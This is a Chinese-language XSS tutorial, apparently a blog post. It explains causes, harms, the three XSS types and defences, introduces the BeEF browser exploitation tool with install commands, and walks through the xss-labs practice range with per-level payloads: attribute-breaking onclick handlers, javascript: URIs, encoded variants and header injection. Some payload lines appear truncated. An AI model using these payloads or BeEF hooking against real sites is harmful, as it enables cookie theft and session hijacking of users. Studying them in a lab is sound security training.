介绍xss漏洞的产生原因、危害、分类、防护,beef工具介绍及xss漏洞靶场演示等。
xss(Cross-site scripting,跨站脚本攻击),指的是攻击者在HTML页面中插入恶意的javascript脚本,这些脚本会在被攻击者浏览页面时执行,实现如cookie获取、键盘监听、密码窃取、页面跳转等功能。
xss漏洞的产生原因主要是由于代码编写时对参数的输入输出控制不严谨导致攻击者能够通过构建攻击语句作为输入,网页输出显示时便自动执行了攻击语句。
1、网络钓鱼,包括盗取各类用户账号;
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
4、强制弹出广告页面、刷流量等;
5、网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;
6、进行大量的客户端攻击,如DDoS攻击;
7、获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
8、控制受害者机器向其他网站发起攻击;
9、结合其他漏洞,如CSRF漏洞,实施进一步作恶;
10、提升用户权限,包括进一步渗透网站;
11、传播跨站脚本蠕虫等;
一般是一次性的攻击,只有在用户访问了攻击者构建的恶意链接后才会被攻击。如一个链接正常访问为https://www.baidu.com/,攻击者构建了恶意访问链接为https://www.baidu.com/?message=script%3Ealert(1)%3C/script%3E,通过message参数进行攻击,用户正常访问百度网站是不会受到影响的,只有点击了恶意访问链接构建了message参数才会被影响
存储型xss指的是攻击者已经将恶意代码存储到了网站服务器上,用户只要访问网站就会受到攻击,如攻击者将恶意代码存储到了https://www.baidu.com/网站上,那么任何用户只要访问https://www.baidu.com/网页就会受到攻击。
DOM型xss指的是攻击者通过修改html网页的dom结构造成的攻击,和反射型xss一样,也是只有当用户访问了恶意链接后才会被攻击,和反射型xss的区别就是反射型xss是服务器返回html页面时就已经包含了恶意脚本,而DOM型xsss在服务器返回html页面时是没有包含恶意脚本的。比如你输入一个字符串后前端代码并没有向后端发起请求,而是直接渲染在页面上造成的xss攻击为DOM型xss,而如果你输入一个字符串后前端向后端发起请求,后端返回的内容带上了恶意代码造成的xss攻击为反射型xss。
由于xss漏洞产生原因主要是由于对输入输出的控制不严谨导致的,因此,在防御时,可以对输入语句作过滤,符合xss攻击特征的输入语句则过滤,如script、onxxx等事件触发函数等。再对输出作转义,如<等字符。
xss平台是指网上公开的集成了部分xss漏洞payload的平台。使用https://xss.pt/平台演示。
beef是一款针对浏览器的渗透测试工具,里面集成了许多payload,我们可以利用它来配合xss漏洞进行攻击,项目地址:https://github.com/beefproject/beef。
# kali 安装
sudo apt install beef-xss
# 启动
sudo beef-xss
# 停止
sudo beef-xss stop
# 登录默认账号beef,密码启动时设置
只要在目标浏览器中注入语句即可在beef后台连接浏览器。
使用xss-labs靶场演示,项目地址:https://github.com/do0dl3/xss-labs。搭建直接使用phpstudy工具搭建即可,此处不做演示。
这个关卡直接在name参数中注入xss脚本即可,如图1。将xss语句修改为beff的钩子语句,如图2,此时可以使用beef-xss的模块功能,如cookie获取,页面html代码获取,浏览器重定向等操作。
payload:">//
payload:' onclick='alert(1)'
payload: " onclick="alert(1)"#
payload:" oonnclick="alert(1)">
payload:javascript:alert(1)
,javascript:alert(1)的HTML编码
payload:javascript:alert(1)//http://
,javascript:alert(1)编码加上//http://
payload:http://localhost:8086/level10.php?keyword=&t_link=111&t_history=222&t_sort="onclick="alert(1)" type="text"
payload:"onclick="alert(1)" type="text"
,抓包修改http头referer值进行攻击。
payload:"onclick="alert(1)" type="text"
,抓包修改http头User-Agent进行攻击。
payload:user="onclick="alert(1)" type="text"
,抓包修改http头Cookie进行攻击。
本来的网站指向的应该是测试exif xss
漏洞的网站,现在网站好像改了,跳过。
payload:localhost:8086/level15.php?src='level1.php?name=
。
payload:
payload:arg01=a&arg02=b onmouseover=alert(1)
payload:arg01=a&arg02=b onmouseover=alert(1)
考察的是flash xss,flash插件已经不支持了,不看了,可参考:https://blog.csdn.net/u014029795/article/details/103213877,https://blog.csdn.net/qq_38768365/article/details/114043820。
和19一致,跳过。
挖掘xss漏洞主要是在用户输入网页输出的地方,通过观察网页源代码的方式尝试写入攻击语句,如先闭合再写入语句、使用事件函数、编码等方式。